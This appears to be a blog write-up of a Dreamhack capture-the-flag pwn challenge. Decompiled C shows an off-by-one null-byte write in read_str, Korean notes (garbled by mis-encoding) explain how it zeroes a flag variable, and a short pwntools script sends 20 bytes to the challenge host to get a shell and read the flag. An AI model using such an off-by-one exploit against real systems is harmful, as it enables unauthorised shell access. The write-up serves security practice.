int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[20]; // [esp+0h] [ebp-18h] BYREF
int v5; // [esp+14h] [ebp-4h]
v5 = 1;
initialize();
printf("Name: ");
read_str(v4, 20);
printf("Are you baby?");
if ( v5 )
{
puts("Ok, chance: ");
read(0, v4, 20);
}
else
{
get_shell();
}
return 0;
}
|v4(0x18)|v5(0x4)|SFP|RET|
v5์ด 0์ด๋ฉด get_shell ํจ์ ์คํ๋์ด์ ์ ์ป์ ์ ์์.
๊ทผ๋ฐ v5=1๋ก ์ค์ ๋์ด ์๊ธฐ ๋๋ฌธ์ ์ด๊ฑธ ์กฐ์ํด์ผ ํจ
int __cdecl read_str(int a1, int a2)
{
int result; // eax
int v3; // [esp+0h] [ebp-4h]
v3 = read(0, a1, a2);
printf("%d", v3);
result = v3 + a1;
*(_BYTE *)(v3 + a1) = 0;
return result;
}
v3 = read(0, v4, 20) โ read() ํจ์๋ ์ฑ๊ณต ์ ์์ ํ ๋ฐ์ดํธ์(20), ์คํจ ์ -1
|result(0x4)|v3(0x4)|SFP|RET|
result = v3 + a1; (v4์ฃผ์+20) โ mainํจ์์์ v5 ๋ณ์ ์์น์ด๋ค.
*(BYTE *)(v3 + a1) = 0; โ v5 ์์น์ 0 ๋ฃ์ โ ์ดํ if(v5)์์ v5๊ฐ 0์ด ๋์ด ์ ์ป์ ์ ์์
๋ฐ๋ผ์ ๋ณ๋ค๋ฅธ ์กฐ์ ์์ด ์ฒ์ ์ ๋ ฅ ์ 20๋ฐ์ดํธ ์ ๋ ฅํ๋ฉด v5 ๊ฐ์ด 0์ผ๋ก ์ค์ ๋์ด ์ ์คํํ ์ ์๋ค.
์ ์คํํ๊ณ cat flag๋ก ํ๋๊ทธ ์ป์ ์ ์๋ค.
#!/usr/bin/python3
from pwn import *
p = remote('host3.dreamhack.games', 23831)
payload = 'A'*(0x18-0x4)
p.sendafter(b'Name: ', payload)
p.interactive()
[Dreamhack] Return to Shellcode (0) | 2024.03.03 |
---|---|
[Dreamhack] Return Address Overwrite (0) | 2024.03.01 |
[Dreamhack] bof (0) | 2024.02.16 |
[Dreamhack] pwn-library (0) | 2024.01.10 |
[Dreamhack] shell-basic (2) | 2024.01.10 |